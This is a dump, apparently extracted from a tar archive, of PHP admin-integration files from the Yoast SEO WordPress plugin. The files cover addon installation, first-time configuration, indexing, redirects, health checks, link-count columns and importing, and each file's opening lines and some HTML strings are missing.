// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only strictly comparing action below.
$action = \wp_unslash( $_GET['action'] );
if ( $action !== 'install' ) {
return;
}
\check_admin_referer( 'wpseo_addon_installation', 'nonce' );
echo '
';
}
\printf(
/* translators: %1$s expands to an anchor tag to the admin premium page, %2$s expands to Yoast SEO Premium, %3$s expands to a closing anchor tag */
\esc_html__( '%1$s Continue to %2$s%3$s', 'wordpress-seo' ),
'',
'Yoast SEO Premium',
'',
);
echo '
';
exit();
}
/**
* Activates an addon.
*
* @param string $addon_slug The addon to activate.
*
* @return array The output of the activation.
*/
public function activate_addon( $addon_slug ) {
$output = [];
try {
$this->addon_activate_action->activate_addon( $addon_slug );
/* Translators: %s expands to the name of the addon. */
$output[] = \__( 'Addon activated.', 'wordpress-seo' );
} catch ( User_Cannot_Activate_Plugins_Exception $exception ) {
$output[] = \__( 'You are not allowed to activate plugins.', 'wordpress-seo' );
} catch ( Addon_Activation_Error_Exception $exception ) {
$output[] = \sprintf(
/* Translators:%s expands to the error message. */
\__( 'Addon activation failed because of an error: %s.', 'wordpress-seo' ),
$exception->getMessage(),
);
}
return $output;
}
/**
* Installs an addon.
*
* @param string $addon_slug The slug of the addon to install.
* @param string $addon_download The download URL of the addon.
*
* @return array The installation success state and the output of the installation.
*/
public function install_addon( $addon_slug, $addon_download ) {
$installed = false;
$output = [];
try {
$installed = $this->addon_install_action->install_addon( $addon_slug, $addon_download );
} catch ( Addon_Already_Installed_Exception $exception ) {
/* Translators: %s expands to the name of the addon. */
$output[] = \__( 'Addon installed.', 'wordpress-seo' );
$installed = true;
} catch ( User_Cannot_Install_Plugins_Exception $exception ) {
$output[] = \__( 'You are not allowed to install plugins.', 'wordpress-seo' );
} catch ( Addon_Installation_Error_Exception $exception ) {
$output[] = \sprintf(
/* Translators: %s expands to the error message. */
\__( 'Addon installation failed because of an error: %s.', 'wordpress-seo' ),
$exception->getMessage(),
);
}
return [ $installed, $output ];
}
}
integrations/admin/first-time-configuration-integration.php 0000644 00000040564 15207625455 0020350 0 ustar 00 admin_asset_manager = $admin_asset_manager;
$this->addon_manager = $addon_manager;
$this->shortlinker = $shortlinker;
$this->options_helper = $options_helper;
$this->social_profiles_helper = $social_profiles_helper;
$this->product_helper = $product_helper;
$this->meta_tags_context = $meta_tags_context;
$this->woocommerce_helper = $woocommerce_helper;
}
/**
* {@inheritDoc}
*/
public function register_hooks() {
\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
\add_action( 'wpseo_settings_tabs_dashboard', [ $this, 'add_first_time_configuration_tab' ] );
}
/**
* Adds a dedicated tab in the General sub-page.
*
* @param WPSEO_Options_Tabs $dashboard_tabs Object representing the tabs of the General sub-page.
*
* @return void
*/
public function add_first_time_configuration_tab( $dashboard_tabs ) {
$dashboard_tabs->add_tab(
new WPSEO_Option_Tab(
'first-time-configuration',
\__( 'First-time configuration', 'wordpress-seo' ),
[ 'save_button' => false ],
),
);
}
/**
* Adds the data for the first-time configuration to the wpseoFirstTimeConfigurationData object.
*
* @return void
*/
public function enqueue_assets() {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
if ( ! isset( $_GET['page'] ) || ( $_GET['page'] !== 'wpseo_dashboard' && $_GET['page'] !== General_Page_Integration::PAGE ) || \is_network_admin() ) {
return;
}
$this->admin_asset_manager->enqueue_script( 'indexation' );
$this->admin_asset_manager->enqueue_style( 'first-time-configuration' );
$this->admin_asset_manager->enqueue_style( 'admin-css' );
$this->admin_asset_manager->enqueue_style( 'monorepo' );
$data = [
'disabled' => ! \YoastSEO()->helpers->indexable->should_index_indexables(),
'amount' => \YoastSEO()->helpers->indexing->get_filtered_unindexed_count(),
'firstTime' => ( \YoastSEO()->helpers->indexing->is_initial_indexing() === true ),
'errorMessage' => '',
'restApi' => [
'root' => \esc_url_raw( \rest_url() ),
'indexing_endpoints' => $this->get_endpoints(),
'nonce' => \wp_create_nonce( 'wp_rest' ),
],
];
/**
* Filter: 'wpseo_indexing_data' Filter to adapt the data used in the indexing process.
*
* @param array $data The indexing data to adapt.
*/
$data = \apply_filters( 'wpseo_indexing_data', $data );
$this->admin_asset_manager->localize_script( 'indexation', 'yoastIndexingData', $data );
$person_id = $this->get_person_id();
$social_profiles = $this->get_social_profiles();
// This filter is documented in admin/views/tabs/metas/paper-content/general/knowledge-graph.php.
$knowledge_graph_message = \apply_filters( 'wpseo_knowledge_graph_setting_msg', '' );
$finished_steps = $this->get_finished_steps();
$options = $this->get_company_or_person_options();
$selected_option_label = '';
$filtered_options = \array_filter(
$options,
function ( $item ) {
return $item['value'] === $this->is_company_or_person();
},
);
$selected_option = \reset( $filtered_options );
if ( \is_array( $selected_option ) ) {
$selected_option_label = $selected_option['label'];
}
$data_ftc = [
'canEditUser' => $this->can_edit_profile( $person_id ),
'companyOrPerson' => $this->is_company_or_person(),
'companyOrPersonLabel' => $selected_option_label,
'companyName' => $this->get_company_name(),
'fallbackCompanyName' => $this->get_fallback_company_name( $this->get_company_name() ),
'websiteName' => $this->get_website_name(),
'fallbackWebsiteName' => $this->get_fallback_website_name( $this->get_website_name() ),
'companyLogo' => $this->get_company_logo(),
'companyLogoFallback' => $this->get_company_fallback_logo( $this->get_company_logo() ),
'companyLogoId' => $this->get_person_logo_id(),
'finishedSteps' => $finished_steps,
'personId' => (int) $person_id,
'personName' => $this->get_person_name(),
'personLogo' => $this->get_person_logo(),
'personLogoFallback' => $this->get_person_fallback_logo( $this->get_person_logo() ),
'personLogoId' => $this->get_person_logo_id(),
'siteTagline' => $this->get_site_tagline(),
'socialProfiles' => [
'facebookUrl' => $social_profiles['facebook_site'],
'twitterUsername' => $social_profiles['twitter_site'],
'otherSocialUrls' => $social_profiles['other_social_urls'],
],
'isPremium' => $this->product_helper->is_premium(),
'isWooCommerceActive' => $this->woocommerce_helper->is_active(),
'isWooCommerceSeoActive' => $this->is_wooseo_active(),
'tracking' => $this->has_tracking_enabled(),
'isTrackingAllowedMultisite' => $this->is_tracking_enabled_multisite(),
'isMainSite' => $this->is_main_site(),
'companyOrPersonOptions' => $options,
'shouldForceCompany' => $this->should_force_company(),
'knowledgeGraphMessage' => $knowledge_graph_message,
'shortlinks' => [
'gdpr' => $this->shortlinker->build_shortlink( 'https://yoa.st/gdpr-config-workout' ),
'configIndexables' => $this->shortlinker->build_shortlink( 'https://yoa.st/config-indexables' ),
'configIndexablesBenefits' => $this->shortlinker->build_shortlink( 'https://yoa.st/config-indexables-benefits' ),
'indexationLearnMore' => $this->shortlinker->build_shortlink( 'https://yoa.st/ftc-indexation-premium-learn-more' ),
'reprWoocommerceLearnMore' => $this->shortlinker->build_shortlink( 'https://yoa.st/ftc-representation-wooseo-learn-more' ),
'reprLocalLearnMore' => $this->shortlinker->build_shortlink( 'https://yoa.st/ftc-representation-local-learn-more' ),
'finishLearnMore' => $this->shortlinker->build_shortlink( 'https://yoa.st/ftc-finish-premium-learn-more' ),
],
];
$this->admin_asset_manager->localize_script( 'general-page', 'wpseoFirstTimeConfigurationData', $data_ftc );
}
/**
* Retrieves a list of the endpoints to use.
*
* @return array The endpoints.
*/
protected function get_endpoints() {
$endpoints = [
'prepare' => Indexing_Route::FULL_PREPARE_ROUTE,
'terms' => Indexing_Route::FULL_TERMS_ROUTE,
'posts' => Indexing_Route::FULL_POSTS_ROUTE,
'archives' => Indexing_Route::FULL_POST_TYPE_ARCHIVES_ROUTE,
'general' => Indexing_Route::FULL_GENERAL_ROUTE,
'indexablesComplete' => Indexing_Route::FULL_INDEXABLES_COMPLETE_ROUTE,
'post_link' => Indexing_Route::FULL_POST_LINKS_INDEXING_ROUTE,
'term_link' => Indexing_Route::FULL_TERM_LINKS_INDEXING_ROUTE,
];
$endpoints = \apply_filters( 'wpseo_indexing_endpoints', $endpoints );
$endpoints['complete'] = Indexing_Route::FULL_COMPLETE_ROUTE;
return $endpoints;
}
// ** Private functions ** //
/**
* Returns the finished steps array.
*
* @return array An array with the finished steps.
*/
private function get_finished_steps() {
return $this->options_helper->get( 'configuration_finished_steps', [] );
}
/**
* Returns the entity represented by the site.
*
* @return string The entity represented by the site.
*/
private function is_company_or_person() {
return $this->options_helper->get( 'company_or_person', '' );
}
/**
* Gets the company name from the option in the database.
*
* @return string The company name.
*/
private function get_company_name() {
return $this->options_helper->get( 'company_name', '' );
}
/**
* Gets the fallback company name from the option in the database if there is no company name.
*
* @param string $company_name The given company name by the user, default empty string.
*
* @return string|false The company name.
*/
private function get_fallback_company_name( $company_name ) {
if ( $company_name ) {
return false;
}
return \get_bloginfo( 'name' );
}
/**
* Gets the website name from the option in the database.
*
* @return string The website name.
*/
private function get_website_name() {
return $this->options_helper->get( 'website_name', '' );
}
/**
* Gets the fallback website name from the option in the database if there is no website name.
*
* @param string $website_name The given website name by the user, default empty string.
*
* @return string|false The website name.
*/
private function get_fallback_website_name( $website_name ) {
if ( $website_name ) {
return false;
}
return \get_bloginfo( 'name' );
}
/**
* Gets the company logo from the option in the database.
*
* @return string The company logo.
*/
private function get_company_logo() {
return $this->options_helper->get( 'company_logo', '' );
}
/**
* Gets the company logo id from the option in the database.
*
* @return string The company logo id.
*/
private function get_company_logo_id() {
return $this->options_helper->get( 'company_logo_id', '' );
}
/**
* Gets the company logo url from the option in the database.
*
* @param string $company_logo The given company logo by the user, default empty.
*
* @return string|false The company logo URL.
*/
private function get_company_fallback_logo( $company_logo ) {
if ( $company_logo ) {
return false;
}
$logo_id = $this->meta_tags_context->fallback_to_site_logo();
return \esc_url( \wp_get_attachment_url( $logo_id ) );
}
/**
* Gets the person id from the option in the database.
*
* @return int|null The person id, null if empty.
*/
private function get_person_id() {
return $this->options_helper->get( 'company_or_person_user_id' );
}
/**
* Gets the person id from the option in the database.
*
* @return int|null The person id, null if empty.
*/
private function get_person_name() {
$user = \get_userdata( $this->get_person_id() );
if ( $user instanceof WP_User ) {
return $user->get( 'display_name' );
}
return '';
}
/**
* Gets the person avatar from the option in the database.
*
* @return string The person logo.
*/
private function get_person_logo() {
return $this->options_helper->get( 'person_logo', '' );
}
/**
* Gets the person logo url from the option in the database.
*
* @param string $person_logo The given person logo by the user, default empty.
*
* @return string|false The person logo URL.
*/
private function get_person_fallback_logo( $person_logo ) {
if ( $person_logo ) {
return false;
}
$logo_id = $this->meta_tags_context->fallback_to_site_logo();
return \esc_url( \wp_get_attachment_url( $logo_id ) );
}
/**
* Gets the person logo id from the option in the database.
*
* @return string The person logo id.
*/
private function get_person_logo_id() {
return $this->options_helper->get( 'person_logo_id', '' );
}
/**
* Gets the site tagline.
*
* @return string The site tagline.
*/
private function get_site_tagline() {
return \get_bloginfo( 'description' );
}
/**
* Gets the social profiles stored in the database.
*
* @return string[] The social profiles.
*/
private function get_social_profiles() {
return $this->social_profiles_helper->get_organization_social_profiles();
}
/**
* Checks whether tracking is enabled.
*
* @return bool True if tracking is enabled, false otherwise, null if in Free and conf. workout step not finished.
*/
private function has_tracking_enabled() {
$default = false;
if ( $this->product_helper->is_premium() ) {
$default = true;
}
return $this->options_helper->get( 'tracking', $default );
}
/**
* Checks whether tracking option is allowed at network level.
*
* @return bool True if option change is allowed, false otherwise.
*/
private function is_tracking_enabled_multisite() {
$default = true;
if ( ! \is_multisite() ) {
return $default;
}
return $this->options_helper->get( 'allow_tracking', $default );
}
/**
* Checks whether we are in a main site.
*
* @return bool True if it's the main site or a single site, false if it's a subsite.
*/
private function is_main_site() {
return \is_main_site();
}
/**
* Gets the options for the Company or Person select.
* Returns only the company option if it is forced (by Local SEO), otherwise returns company and person option.
*
* @return array The options for the company-or-person select.
*/
private function get_company_or_person_options() {
$options = [
[
'label' => \__( 'Organization', 'wordpress-seo' ),
'value' => 'company',
'id' => 'company',
],
[
'label' => \__( 'Person', 'wordpress-seo' ),
'value' => 'person',
'id' => 'person',
],
];
if ( $this->should_force_company() ) {
$options = [
[
'label' => \__( 'Organization', 'wordpress-seo' ),
'value' => 'company',
'id' => 'company',
],
];
}
return $options;
}
/**
* Checks whether we should force "Organization".
*
* @return bool
*/
private function should_force_company() {
return $this->addon_manager->is_installed( WPSEO_Addon_Manager::LOCAL_SLUG );
}
/**
* Checks if the current user has the capability to edit a specific user.
*
* @param int $person_id The id of the person to edit.
*
* @return bool
*/
private function can_edit_profile( $person_id ) {
return \current_user_can( 'edit_user', $person_id );
}
/**
* Checks if Yoast WooCommerce SEO is active.
*
* @return bool
*/
private function is_wooseo_active() {
$addon_manager = new WPSEO_Addon_Manager();
return $addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG );
}
}
integrations/admin/indexing-tool-integration.php 0000644 00000016445 15207625455 0016201 0 ustar 00 asset_manager = $asset_manager;
$this->indexable_helper = $indexable_helper;
$this->short_link_helper = $short_link_helper;
$this->indexing_helper = $indexing_helper;
$this->addon_manager = $addon_manager;
$this->product_helper = $product_helper;
$this->importable_detector = $importable_detector;
$this->importing_route = $importing_route;
}
/**
* Register hooks.
*
* @return void
*/
public function register_hooks() {
\add_action( 'wpseo_tools_overview_list_items_internal', [ $this, 'render_indexing_list_item' ], 10 );
\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_scripts' ], 10 );
}
/**
* Enqueues the required scripts.
*
* @return void
*/
public function enqueue_scripts() {
$this->asset_manager->enqueue_script( 'indexation' );
$this->asset_manager->enqueue_style( 'admin-css' );
$this->asset_manager->enqueue_style( 'monorepo' );
$data = [
'disabled' => ! $this->indexable_helper->should_index_indexables(),
'amount' => $this->indexing_helper->get_filtered_unindexed_count(),
'firstTime' => ( $this->indexing_helper->is_initial_indexing() === true ),
'errorMessage' => $this->render_indexing_error(),
'restApi' => [
'root' => \esc_url_raw( \rest_url() ),
'indexing_endpoints' => $this->get_indexing_endpoints(),
'importing_endpoints' => $this->get_importing_endpoints(),
'nonce' => \wp_create_nonce( 'wp_rest' ),
],
];
/**
* Filter: 'wpseo_indexing_data' Filter to adapt the data used in the indexing process.
*
* @param array $data The indexing data to adapt.
*/
$data = \apply_filters( 'wpseo_indexing_data', $data );
$this->asset_manager->localize_script( 'indexation', 'yoastIndexingData', $data );
}
/**
* The error to show if optimization failed.
*
* @return string The error to show if optimization failed.
*/
protected function render_indexing_error() {
$presenter = new Indexing_Error_Presenter(
$this->short_link_helper,
$this->product_helper,
$this->addon_manager,
);
return $presenter->present();
}
/**
* Determines if the site has a valid Premium subscription.
*
* @return bool If the site has a valid Premium subscription.
*/
protected function has_valid_premium_subscription() {
return $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );
}
/**
* Renders the indexing list item.
*
* @return void
*/
public function render_indexing_list_item() {
if ( \current_user_can( 'manage_options' ) ) {
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- The output is correctly escaped in the presenter.
echo new Indexing_List_Item_Presenter( $this->short_link_helper );
}
}
/**
* Retrieves a list of the indexing endpoints to use.
*
* @return array The endpoints.
*/
protected function get_indexing_endpoints() {
$endpoints = [
'prepare' => Indexing_Route::FULL_PREPARE_ROUTE,
'terms' => Indexing_Route::FULL_TERMS_ROUTE,
'posts' => Indexing_Route::FULL_POSTS_ROUTE,
'archives' => Indexing_Route::FULL_POST_TYPE_ARCHIVES_ROUTE,
'general' => Indexing_Route::FULL_GENERAL_ROUTE,
'indexablesComplete' => Indexing_Route::FULL_INDEXABLES_COMPLETE_ROUTE,
'post_link' => Indexing_Route::FULL_POST_LINKS_INDEXING_ROUTE,
'term_link' => Indexing_Route::FULL_TERM_LINKS_INDEXING_ROUTE,
];
$endpoints = \apply_filters( 'wpseo_indexing_endpoints', $endpoints );
$endpoints['complete'] = Indexing_Route::FULL_COMPLETE_ROUTE;
return $endpoints;
}
/**
* Retrieves a list of the importing endpoints to use.
*
* @return array The endpoints.
*/
protected function get_importing_endpoints() {
$available_actions = $this->importable_detector->detect_importers();
$importing_endpoints = [];
foreach ( $available_actions as $plugin => $types ) {
foreach ( $types as $type ) {
$importing_endpoints[ $plugin ][] = $this->importing_route->get_endpoint( $plugin, $type );
}
}
return $importing_endpoints;
}
}
integrations/admin/redirects-page-integration.php 0000644 00000010730 15207625455 0016306 0 ustar 00 current_page_helper = $current_page_helper;
$this->user_helper = $user_helper;
$this->wistia_embed_permission_repository = $wistia_embed_permission_repository;
}
/**
* Sets up the hooks.
*
* @return void
*/
public function register_hooks() {
\add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], 9 );
if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
}
}
/**
* Returns the conditionals based on which this loadable should be active.
*
* In this case: only when on an admin page and Premium is not active.
*
* @return array The conditionals.
*/
public static function get_conditionals() {
return [
Admin_Conditional::class,
Premium_Inactive_Conditional::class,
];
}
/**
* Adds the redirects submenu page.
*
* @param array $submenu_pages The Yoast SEO submenu pages.
*
* @return array The filtered submenu pages.
*/
public function add_submenu_page( $submenu_pages ) {
$submenu_pages[] = [
'wpseo_dashboard',
'',
\__( 'Redirects', 'wordpress-seo' ) . ' ',
'edit_others_posts',
self::PAGE,
[ $this, 'display' ],
];
return $submenu_pages;
}
/**
* Enqueue assets on the redirects page.
*
* @return void
*/
public function enqueue_assets() {
$asset_manager = new WPSEO_Admin_Asset_Manager();
$asset_manager->enqueue_script( 'redirects' );
$asset_manager->enqueue_style( 'redirects' );
$user_id = $this->user_helper->get_current_user_id();
$asset_manager->localize_script(
'redirects',
'wpseoScriptData',
[
'preferences' => [
'isRtl' => \is_rtl(),
'isComingFromToolsPage' => $this->is_coming_from_tools_page(),
],
'linkParams' => \YoastSEO()->helpers->short_link->get_query_params(),
'pluginUrl' => \plugins_url( '', \WPSEO_FILE ),
'wistiaEmbedPermission' => $this->wistia_embed_permission_repository->get_value_for_user( $user_id ),
],
);
}
/**
* Displays the redirects page.
*
* @return void
*/
public function display() {
require \WPSEO_PATH . 'admin/pages/redirects.php';
}
/**
* Removes all current WP notices.
*
* @return void
*/
public function remove_notices() {
\remove_all_actions( 'admin_notices' );
\remove_all_actions( 'user_admin_notices' );
\remove_all_actions( 'network_admin_notices' );
\remove_all_actions( 'all_admin_notices' );
}
/**
* Checks whether the user is coming from the tools page.
*
* @return bool
*/
public function is_coming_from_tools_page() {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are simply checking against a set value.
return isset( $_GET['from_tools'] ) && $_GET['from_tools'] === '1';
}
}
integrations/admin/health-check-integration.php 0000644 00000005373 15207625455 0015737 0 ustar 00 health_checks = $health_checks;
}
/**
* Hooks the health checks into WordPress' site status tests.
*
* @return void
*/
public function register_hooks() {
\add_filter( 'site_status_tests', [ $this, 'add_health_checks' ] );
}
/**
* Returns the conditionals based on which this loadable should be active.
*
* In this case: only when on an admin page.
*
* @return array The conditionals.
*/
public static function get_conditionals() {
return [ Admin_Conditional::class ];
}
/**
* Checks if the input is a WordPress site status tests array, and adds Yoast's health checks if it is.
*
* @param string[] $tests Array containing WordPress site status tests.
* @return string[] Array containing WordPress site status tests with Yoast's health checks.
*/
public function add_health_checks( $tests ) {
if ( ! $this->is_valid_site_status_tests_array( $tests ) ) {
return $tests;
}
return $this->add_health_checks_to_site_status_tests( $tests );
}
/**
* Checks if the input array is a WordPress site status tests array.
*
* @param mixed $tests Array to check.
* @return bool Returns true if the input array is a WordPress site status tests array.
*/
private function is_valid_site_status_tests_array( $tests ) {
if ( ! \is_array( $tests ) ) {
return false;
}
if ( ! \array_key_exists( 'direct', $tests ) ) {
return false;
}
if ( ! \is_array( $tests['direct'] ) ) {
return false;
}
return true;
}
/**
* Adds the health checks to WordPress' site status tests.
*
* @param string[] $tests Array containing WordPress site status tests.
* @return string[] Array containing WordPress site status tests with Yoast's health checks.
*/
private function add_health_checks_to_site_status_tests( $tests ) {
foreach ( $this->health_checks as $health_check ) {
if ( $health_check->is_excluded() ) {
continue;
}
$tests['direct'][ $health_check->get_test_identifier() ] = [
'test' => [ $health_check, 'run_and_get_result' ],
];
}
return $tests;
}
}
integrations/admin/brand-insights-page.php 0000644 00000004216 15207625456 0014720 0 ustar 00 ';
/**
* The product helper.
*
* @var Product_Helper
*/
private $product_helper;
/**
* Constructor.
*
* @param Product_Helper $product_helper The product helper.
*/
public function __construct(
Product_Helper $product_helper
) {
$this->product_helper = $product_helper;
}
/**
* Returns the conditionals based in which this loadable should be active.
*
* @return array
*/
public static function get_conditionals() {
return [
Admin_Conditional::class,
];
}
/**
* Registers all hooks to WordPress.
*
* @return void
*/
public function register_hooks() {
// Add page with PHP_INT_MAX so it's always the last item. This is the AI Brand Insights button in the sidebar menu.
\add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], \PHP_INT_MAX );
}
/**
* Adds the Brand Insights submenu page.
*
* @param string[] $submenu_pages The Yoast SEO submenu pages.
*
* @return string[] The filtered submenu pages.
*/
public function add_submenu_page( $submenu_pages ) {
$page = $this->product_helper->is_premium() ? 'wpseo_brand_insights_premium' : 'wpseo_brand_insights';
$button_content = 'AI Brand Insights';
$menu_title = ''
. ''
. $button_content
. self::EXTERNAL_LINK_ICON
. '';
$submenu_pages[] = [
'wpseo_dashboard',
'',
$menu_title,
'edit_others_posts',
$page,
[ $this, 'show_brand_insights_page' ],
];
return $submenu_pages;
}
/**
* The Brand Insights page render function, noop.
*
* @return void
*/
public function show_brand_insights_page() {
// Do nothing and let the redirect happen from the redirect integration.
}
}
integrations/admin/link-count-columns-integration.php 0000644 00000017035 15207625456 0017157 0 ustar 00 post_type_helper = $post_type_helper;
$this->wpdb = $wpdb;
$this->post_link_indexing_action = $post_link_indexing_action;
$this->admin_columns_cache = $admin_columns_cache;
}
/**
* {@inheritDoc}
*/
public function register_hooks() {
\add_filter( 'posts_clauses', [ $this, 'order_by_links' ], 1, 2 );
\add_filter( 'posts_clauses', [ $this, 'order_by_linked' ], 1, 2 );
\add_action( 'admin_init', [ $this, 'register_init_hooks' ] );
// Adds a filter to exclude the attachments from the link count.
\add_filter( 'wpseo_link_count_post_types', [ 'WPSEO_Post_Type', 'filter_attachment_post_type' ] );
}
/**
* Register hooks that need to be registered after `init` due to all post types not yet being registered.
*
* @return void
*/
public function register_init_hooks() {
$public_post_types = \apply_filters( 'wpseo_link_count_post_types', $this->post_type_helper->get_accessible_post_types() );
if ( ! \is_array( $public_post_types ) || empty( $public_post_types ) ) {
return;
}
foreach ( $public_post_types as $post_type ) {
\add_filter( 'manage_' . $post_type . '_posts_columns', [ $this, 'add_post_columns' ] );
\add_action( 'manage_' . $post_type . '_posts_custom_column', [ $this, 'column_content' ], 10, 2 );
\add_filter( 'manage_edit-' . $post_type . '_sortable_columns', [ $this, 'column_sort' ] );
}
}
/**
* Adds the columns for the post overview.
*
* @param array $columns Array with columns.
*
* @return array The extended array with columns.
*/
public function add_post_columns( $columns ) {
if ( ! \is_array( $columns ) ) {
return $columns;
}
$columns[ 'wpseo-' . self::COLUMN_LINKS ] = \sprintf(
'%2$s',
\esc_attr__( 'Number of outgoing internal links in this post.', 'wordpress-seo' ),
/* translators: Hidden accessibility text. */
\esc_html__( 'Outgoing internal links', 'wordpress-seo' ),
);
if ( $this->post_link_indexing_action->get_total_unindexed() === 0 ) {
$columns[ 'wpseo-' . self::COLUMN_LINKED ] = \sprintf(
'%2$s',
\esc_attr__( 'Number of internal links linking to this post.', 'wordpress-seo' ),
/* translators: Hidden accessibility text. */
\esc_html__( 'Received internal links', 'wordpress-seo' ),
);
}
return $columns;
}
/**
* Modifies the query pieces to allow ordering column by links to post.
*
* @param array $pieces Array of Query pieces.
* @param WP_Query $query The Query on which to apply.
*
* @return array
*/
public function order_by_linked( $pieces, $query ) {
if ( $query->get( 'orderby' ) !== 'wpseo-' . self::COLUMN_LINKED ) {
return $pieces;
}
return $this->build_sort_query_pieces( $pieces, $query, 'incoming_link_count' );
}
/**
* Modifies the query pieces to allow ordering column by links to post.
*
* @param array $pieces Array of Query pieces.
* @param WP_Query $query The Query on which to apply.
*
* @return array
*/
public function order_by_links( $pieces, $query ) {
if ( $query->get( 'orderby' ) !== 'wpseo-' . self::COLUMN_LINKS ) {
return $pieces;
}
return $this->build_sort_query_pieces( $pieces, $query, 'link_count' );
}
/**
* Builds the pieces for a sorting query.
*
* @param array $pieces Array of Query pieces.
* @param WP_Query $query The Query on which to apply.
* @param string $field The field in the table to JOIN on.
*
* @return array Modified Query pieces.
*/
protected function build_sort_query_pieces( $pieces, $query, $field ) {
// We only want our code to run in the main WP query.
if ( ! $query->is_main_query() ) {
return $pieces;
}
// Get the order query variable - ASC or DESC.
$order = \strtoupper( $query->get( 'order' ) );
// Make sure the order setting qualifies. If not, set default as ASC.
if ( ! \in_array( $order, [ 'ASC', 'DESC' ], true ) ) {
$order = 'ASC';
}
$table = Model::get_table_name( 'Indexable' );
$pieces['join'] .= " LEFT JOIN $table AS yoast_indexable ON yoast_indexable.object_id = {$this->wpdb->posts}.ID AND yoast_indexable.object_type = 'post' ";
$pieces['orderby'] = "yoast_indexable.$field $order, FIELD( {$this->wpdb->posts}.post_status, 'publish' ) $order, {$pieces['orderby']}";
return $pieces;
}
/**
* Displays the column content for the given column.
*
* @param string $column_name Column to display the content for.
* @param int $post_id Post to display the column content for.
*
* @return void
*/
public function column_content( $column_name, $post_id ) {
$indexable = $this->admin_columns_cache->get_indexable( $post_id );
// Nothing to output if we don't have the value.
if ( $indexable === false ) {
return;
}
switch ( $column_name ) {
case 'wpseo-' . self::COLUMN_LINKS:
echo (int) $indexable->link_count;
return;
case 'wpseo-' . self::COLUMN_LINKED:
if ( \get_post_status( $post_id ) === 'publish' ) {
echo (int) $indexable->incoming_link_count;
}
}
}
/**
* Sets the sortable columns.
*
* @param array $columns Array with sortable columns.
*
* @return array The extended array with sortable columns.
*/
public function column_sort( array $columns ) {
$columns[ 'wpseo-' . self::COLUMN_LINKS ] = 'wpseo-' . self::COLUMN_LINKS;
$columns[ 'wpseo-' . self::COLUMN_LINKED ] = 'wpseo-' . self::COLUMN_LINKED;
return $columns;
}
}
integrations/admin/menu-badge-integration.php 0000644 00000001637 15207625456 0015423 0 ustar 00 asset_manager = $asset_manager;
$this->importable_detector = $importable_detector;
$this->importing_route = $importing_route;
}
/**
* Initializes the integration.
*
* This is the place to register hooks and filters.
*
* @return void
*/
public function register_hooks() {
\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_import_script' ] );
}
/**
* Enqueues the Import script.
*
* @return void
*/
public function enqueue_import_script() {
\wp_enqueue_style( 'dashicons' );
$this->asset_manager->enqueue_script( 'import' );
$data = [
'restApi' => [
'root' => \esc_url_raw( \rest_url() ),
'cleanup_endpoints' => $this->get_cleanup_endpoints(),
'importing_endpoints' => $this->get_importing_endpoints(),
'nonce' => \wp_create_nonce( 'wp_rest' ),
],
'assets' => [
'loading_msg_import' => \esc_html__( 'The import can take a long time depending on your site\'s size.', 'wordpress-seo' ),
'loading_msg_cleanup' => \esc_html__( 'The cleanup can take a long time depending on your site\'s size.', 'wordpress-seo' ),
'note' => \esc_html__( 'Note: ', 'wordpress-seo' ),
'cleanup_after_import_msg' => \esc_html__( 'After you\'ve imported data from another SEO plugin, please make sure to clean up all the original data from that plugin. (step 5)', 'wordpress-seo' ),
'select_placeholder' => \esc_html__( 'Select SEO plugin', 'wordpress-seo' ),
'no_data_msg' => \esc_html__( 'No data found from other SEO plugins.', 'wordpress-seo' ),
'validation_failure' => $this->get_validation_failure_alert(),
'import_failure' => $this->get_import_failure_alert( true ),
'cleanup_failure' => $this->get_import_failure_alert( false ),
'spinner' => \admin_url( 'images/loading.gif' ),
'replacing_texts' => [
'cleanup_button' => \esc_html__( 'Clean up', 'wordpress-seo' ),
'import_explanation' => \esc_html__( 'Please select an SEO plugin below to see what data can be imported.', 'wordpress-seo' ),
'cleanup_explanation' => \esc_html__( 'Once you\'re certain that your site is working properly with the imported data from another SEO plugin, you can clean up all the original data from that plugin.', 'wordpress-seo' ),
/* translators: %s: expands to the name of the plugin that is selected to be imported */
'select_header' => \esc_html__( 'The import from %s includes:', 'wordpress-seo' ),
'plugins' => [
'aioseo' => [
[
'data_name' => \esc_html__( 'Post metadata (SEO titles, descriptions, etc.)', 'wordpress-seo' ),
'data_note' => \esc_html__( 'Note: This metadata will only be imported if there is no existing Yoast SEO metadata yet.', 'wordpress-seo' ),
],
[
'data_name' => \esc_html__( 'Default settings', 'wordpress-seo' ),
'data_note' => \esc_html__( 'Note: These settings will overwrite the default settings of Yoast SEO.', 'wordpress-seo' ),
],
],
'other' => [
[
'data_name' => \esc_html__( 'Post metadata (SEO titles, descriptions, etc.)', 'wordpress-seo' ),
'data_note' => \esc_html__( 'Note: This metadata will only be imported if there is no existing Yoast SEO metadata yet.', 'wordpress-seo' ),
],
],
],
],
],
];
/**
* Filter: 'wpseo_importing_data' Filter to adapt the data used in the import process.
*
* @param array $data The import data to adapt.
*/
$data = \apply_filters( 'wpseo_importing_data', $data );
$this->asset_manager->localize_script( 'import', 'yoastImportData', $data );
}
/**
* Retrieves a list of the importing endpoints to use.
*
* @return array The endpoints.
*/
protected function get_importing_endpoints() {
$available_actions = $this->importable_detector->detect_importers();
$importing_endpoints = [];
$available_sorted_actions = $this->sort_actions( $available_actions );
foreach ( $available_sorted_actions as $plugin => $types ) {
foreach ( $types as $type ) {
$importing_endpoints[ $plugin ][] = $this->importing_route->get_endpoint( $plugin, $type );
}
}
return $importing_endpoints;
}
/**
* Sorts the array of importing actions, by moving any validating actions to the start for every plugin.
*
* @param array $available_actions The array of actions that we want to sort.
*
* @return array The sorted array of actions.
*/
